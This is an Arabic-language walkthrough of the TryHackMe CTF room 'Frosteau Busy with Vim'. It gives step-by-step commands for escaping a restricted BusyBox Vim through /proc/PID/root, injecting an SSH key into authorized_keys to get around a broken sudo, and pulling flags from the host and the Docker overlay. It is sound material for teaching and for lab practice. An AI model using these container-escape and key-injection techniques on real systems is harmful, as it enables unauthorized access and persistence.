Lab: Frosteau Busy with Vim | STY IT Labs
STY IT Labs · TryHackMe · Insane · Advent of Cyber 2023 — Side Quest 3

Lab: Frosteau Busy with Vim
الهروب من سجن BusyBox عبر Vim

مفيش ثغرة برمجية هنا — بس محرر Vim مقيّد جوه بيئة BusyBox فاضية تمامًا من أي أداة. المطلوب: تهرب من القفص من غير ما ترفع ولا ملف واحد، باستخدام حيلة جد ذكية في نظام /proc.

Insane Difficulty Restricted Editor Escape /proc Namespace Trick Broken sudo Bypass Side Quest 3/4 · 4 Flags
VIM :set shell= /proc/PID/root busybusybox FROSTEAU
Insane
3 – 6 ساعات
4 Flags
3 / 4
TryHackMe
Linux (BusyBox + Docker)

عن اللاب

Advent of Cyber 2023 — Side Quest 3: Frosteau Busy with Vim

الجزء الثالث من قصة Bandit Yeti — الهدف: جهاز Frosteau نفسه، اللي عنده كل الملفات الحساسة. بعد ما فريق McSkidy راجعوا التحصينات، الجهاز بقى مقيّد جدًا: مفيش أي أدوات نظام، بس محرّرين نصوص (Vim وNano) شغالين جوه بيئة BusyBox فاضية.

اللاب ده مختلف تمامًا عن باقي اللابات — مفيش ثغرة CVE ولا استغلال تقليدي. المهارة المطلوبة هنا هي التفكير المنطقي: إزاي تكسر قيود بيئة من غير أي أدوات، ومن غير ما ترفع ولا binary واحد.

الآلة اتحدّثت بعد إصدارها بحوالي 12 ساعة عشان تقفل مسار مختصر غير مقصود — لو لقيت طريق أسهل من اللي هنا، يبقى غالبًا كنت بتستخدم نسخة قديمة من اللاب.

Bandit Yeti Badge — الجزء 3

من أصعب 4 أجزاء متصلة تحكي قصة اختراق Best Festival Company كاملة

مسار الحل الكامل

1

Recon — فرز الفخاخ من الحقيقي

nmap بيطلّع 6 منافذ: SSH(22)، ويب (80، بيرفض كل الطلبات — فخ)، تيلنت (8065، بيقفل بسرعة — فخ تاني)، FTP (8075، BusyBox ftpd)، وتيلنت 8085 و8095 بيوديك مباشرة جوه Vim وNano على التوالي.

nmap -sSVC -p- IP8085 → vim · 8095 → nano
2

Flag 1 — ملفات FTP المجهولة

FTP بيسمح بدخول Anonymous. جوه اللستة: flag-1-of-4.txt (Flag 1 مباشرة)، flag-2-of-4.sh (بيحتوي بس على echo $FLAG2 — تلميح إن الفلاج الثاني متغيّر بيئة مش ملف)، وملفين معلومات عن “Frostling Five” و”Bandit Yeti” مفيدين للقصة.

ftp IP 8075 (anonymous)Flag 1
3

Flag 2 — قراءة متغير بيئة من جوه Vim

مش محتاجين shell خالص للفلاج ده — أمر :echo $FLAG2 جوه Vim بيقرا متغيرات البيئة مباشرة ويطلّع القيمة.

:echo $FLAG2Flag 2 — من غير Shell
4

كل حيل الهروب الكلاسيكية بتفشل

حيل GTFOBins المعروفة (:!/bin/sh، :set shell=/bin/sh|:shell، حيل Nano بـ Ctrl+R Ctrl+X) كلها بترجع خطأ “command not found” — لأن /bin و/usr/bin فاضيين تمامًا، والمتغير $SHELL بيشاور على /tmp/sh ملف فاضي هو الآخر.

/bin, /usr/bin empty$SHELL=/tmp/sh (broken)
5

اكتشاف Python داخل Vim

:version بيوريك إن Vim مبني بدعم Python 3 (:py3). أوامر زي os.popen أو Reverse Shell عادية مش هتفيد لأنها كلها بتحتاج shell شغّال. حتى محاولة حفظ ناتج os.system في ملف بتفشل غريب على الجهاز ده تحديدًا.

:py3 import osos.system() output capture fails
6

الحيلة الذكية — الهروب عبر /proc من غير رفع أي حاجة

بدل ما نرفع binary، بنستغل إن /proc/<pid>/root/ هو Symlink لجذر الفايل سيستم اللي شايفه كل Process. بحلقة Python بسيطة بنفحص كل PID من 1 لـ 9999 ونبحث عن أول واحد عنده /usr/bin/bash حقيقي (يعني process شغّال برة قيد BusyBox).

:py3 [i for i in range(1,9999) if os.path.exists(f”/proc/{i}/root/usr/bin/bash”)]
7

تفعيل الـ Shell الحقيقي جوه Vim

بمجرد ما نلاقي PID عنده bash حقيقي (مثلاً 1018)، بنوجّه إعداد الـ shell بتاع Vim نفسه ليه: :set shell=/proc/1018/root/usr/bin/bash. أمر :shell بعد كده بيفتح Bash تفاعلي حقيقي كمستخدم ubuntu — بدون ما نرفع ولا ملف واحد.

:set shell=/proc/PID/root/usr/bin/bash:shell → real bash
8

sudo مكسور — تجاوزه بمفتاح SSH

المستخدم عنده NOPASSWD: ALL — لكن أمر sudo نفسه بيرفض يشتغل (مكتبة libsudo_util.so.0 ناقصة). الحل: نولّد SSH key محليًا، ونكتب المفتاح العام مباشرة في /proc/1018/root/home/ubuntu/.ssh/authorized_keys (نفس حيلة الـ /proc)، وندخل بـ SSH عادي — وده بيوديك مباشرة على الهوست الحقيقي، متخطّي الـ Docker container كله.

sudo: missing shared librarySSH key via /proc write
9

Flag 3 وFlag 4 وyetikey3 — تجميع الفلاجز

على الهوست الحقيقي، sudo بيشتغل عادي، فـsudo ls /root بيطلّع Flag 4 ومفتاح yetikey3.txt مباشرة. بما إننا قفزنا للهوست على طول ومن غير ما نمر رسميًا بخطوة الـ Docker، الـ Flag 3 لسه في الـ container — نجيبه بـ sudo find /var/lib/docker/overlay2/ -name flag-3-of-4.txt أو docker cp مباشرة.

sudo ls /root → Flag 4 + yetikey3.txtdocker cp / overlay2 find → Flag 3

مراحل اللاب

FTP Enum
Editor Escape
/proc Trick
Real Shell
SSH Bypass
Docker Overlay
4 Flags

Commands Cheat Sheet

الأمرالوصفالمرحلة
ftp IP 8075 (anonymous)الدخول للـ FTP وسحب الملفات + Flag 1Recon
:echo $FLAG2قراءة متغير بيئة مباشرة جوه VimFlag 2
:versionمعرفة مميزات الـ Vim المبني بيها (زي +python3)Recon
:py3 import os; [print(i) for i in range(1,9999) if os.path.exists(f”/proc/{i}/root/usr/bin/bash”)]البحث عن process فيه bash حقيقي خارج BusyBoxEscape
:set shell=/proc/PID/root/usr/bin/bashتوجيه shell بتاع Vim لبيئة العملية اللي لقيناهاEscape
:shellفتح shell تفاعلي حقيقي من غير رفع أي حاجةEscape
export PATH=/proc/PID/root/usr/bin:$PATHالوصول لأدوات coreutils الحقيقية جوه الـ shellPATH Fix
printf %s “ssh-ed25519 …” > /proc/PID/root/home/ubuntu/.ssh/authorized_keysحقن مفتاح SSH بتاعنا لتخطي sudo المكسورAuth Bypass
sudo find /var/lib/docker/overlay2/ -name flag-3-of-4.txtاسترجاع الفلاج المتروك جوه الـ Docker overlayFlag 3
sudo ls -lhA /rootقراءة Flag 4 وyetikey3.txt على الهوست الحقيقيFlag 4

Flags والمهام

01

Flag 1 — FTP Anonymous

flag-1-of-4.txt من الملفات المتاحة للجميع

Flag 1
02

Flag 2 — متغير البيئة

:echo $FLAG2 من غير أي شل خالص

Flag 2
03

Flag 3 — Docker Overlay

الفلاج المتروك جوه الحاوية اللي قفزنا فوقها

Flag 3
04

Flag 4 + yetikey3.txt

Root على الهوست الحقيقي عبر SSH key injection

Flag 4
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Vim Escape Full Path

root@kali — Frosteau/Vim
# ── FTP: Flag 1 ─────────────────────────────────
└─# ftp IP 8075 # anonymous
ftp> mget *
flag-1-of-4.txt retrieved ← Flag 1

# ── telnet :8085 → straight into Vim ────────────
└─# telnet IP 8085
:echo $FLAG2
THM{…} ← Flag 2
:!/bin/sh
E485: Cannot execute shell /tmp/sh

# ── /proc namespace escape ──────────────────────
:py3 import os; [print(i) for i in range(1,9999) if os.path.exists(f”/proc/{i}/root/usr/bin/bash”)]
1018
:set shell=/proc/1018/root/usr/bin/bash
:shell
ubuntu@busybusybox:/$ export PATH=/proc/1018/root/usr/bin:$PATH; id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu)

# ── sudo broken → SSH key injection ──────────────
ubuntu@busybusybox:/$ sudo id
sudo: error while loading shared libraries: libsudo_util.so.0
└─# ssh-keygen -t ed25519 -f mykey
ubuntu@busybusybox:/$ printf %s “ssh-ed25519 AAAA…” > /proc/1018/root/home/ubuntu/.ssh/authorized_keys
└─# ssh ubuntu@IP -i mykey
ubuntu@tryhackme:~$ sudo ls -lhA /root
flag-4-of-4.txt · yetikey3.txt ← Flag 4

# ── Flag 3: still inside the docker container ────
ubuntu@tryhackme:~$ sudo find /var/lib/docker/overlay2/ -name flag-3-of-4.txt
/var/lib/docker/overlay2/…/diff/root/flag-3-of-4.txt ← Flag 3

└─#

المهارات المكتسبة

Restricted Editor Breakout (GTFOBins)
Vim Python3 Scripting
Linux /proc Filesystem Internals
Namespace / Container Boundary Tricks
SSH Key Injection
Broken-Binary Troubleshooting
Docker Overlay Filesystem Forensics
Methodical Environment Enumeration

الأدوات المستخدمة

nmapاكتشاف الـ 6 ports (2 منهم فخاخ)
ftp / telnetالوصول الأساسي للملفات وللمحرّرات المقيّدة
GTFOBins / gtfoblookupمرجعة سريعة لحيل الهروب المعروفة (حتى لو فشلت هنا)
Vim (built-in :py3)أداة الهروب الفعلية — مفسّر Python جوّاه
ssh-keygen / sshتجاوز sudo المكسور بالدخول من الباب التاني
لو أداة قياسية زي GTFOBins مش شغالة، معناها مش إن اللاب مستحيل — معناها إنك محتاج تفكّر برّه الصندوق. أي محرّر أو تطبيق فيه مفسّر برمجة مضمّن (زي Python جوه Vim) هو نقطة هروب محتملة.